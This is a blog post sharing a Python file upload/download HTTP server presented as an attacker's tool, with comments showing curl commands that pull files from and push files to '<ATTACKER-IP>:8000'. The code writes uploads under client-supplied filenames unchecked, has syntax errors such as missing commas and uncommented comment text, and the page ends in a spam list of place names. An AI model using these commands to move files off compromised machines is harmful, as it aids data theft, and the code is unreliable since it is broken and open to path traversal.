so true

          心懷未來,開創(chuàng)未來!
          隨筆 - 160, 文章 - 0, 評論 - 40, 引用 - 0
          數(shù)據(jù)加載中……

          http_server supports download/upload

          #!/usr/env python3
          import http.server
          import socketserver
          import io
          import cgi

          #  Download a file from your attack device:
          #
          curl -O http://<ATTACKER-IP>:8000/<FILENAME>

          #  Upload a file back to your attack device:
          #
          curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:8000/

          #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
          #
            parameters to the command line.
          #
          curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:8000/

          # Change this to serve on a different port
          PORT = 8000

          class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

              def do_POST(self):
                  r, info = self.deal_post_data()
                  print(r, info, "by: ", self.client_address)
                  f = io.BytesIO()
                  if r:
                      f.write(b"Success\n")
                  else:
                      f.write(b"Failed\n")
                  length = f.tell()
                  f.seek(0)
                  self.send_response(200)
                  self.send_header("Content-type""text/plain")
                  self.send_header("Content-Length", str(length))
                  self.end_headers()
                  if f:
                      self.copyfile(f, self.wfile)
                      f.close()

              def deal_post_data(self):
                  ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
                  pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
                  pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
                  if ctype == 'multipart/form-data':
                      form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST''CONTENT_TYPE':self.headers['Content-Type'], })
                      print (type(form))
                      try:
                          if isinstance(form["file"], list):
                              for record in form["file"]:
                                  open("./%s"%record.filename, "wb").write(record.file.read())
                          else:
                              open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                      except IOError:
                              return (False, "Can't create file to write, do you have permission to write?")
                  return (True, "Files uploaded")

          Handler = CustomHTTPRequestHandler
          try:
              server = socketserver.TCPServer(("", PORT), Handler)
              # Activate the server; this will keep running until you
              # interrupt the program with Ctrl-C
              server.serve_forever()
          except:
              pass
          finally:
              server.close()

          posted on 2021-11-20 21:03 so true 閱讀(108) 評論(0)  編輯  收藏 所屬分類: Linux

          主站蜘蛛池模板: 德庆县| 玉环县| 无锡市| 名山县| 慈利县| 泰兴市| 淮阳县| 南投县| 兴山县| 长武县| 阿鲁科尔沁旗| 泊头市| 吉安市| 宣威市| 堆龙德庆县| 仪征市| 荥阳市| 盐源县| 盘山县| 阿尔山市| 兴安盟| 和龙市| 闸北区| 伊金霍洛旗| 仙桃市| 东平县| 康保县| 察雅县| 五莲县| 岢岚县| 江津市| 凤城市| 丹寨县| 宿迁市| 当阳市| 湛江市| 同德县| 明光市| 盐亭县| 白银市| 富蕴县|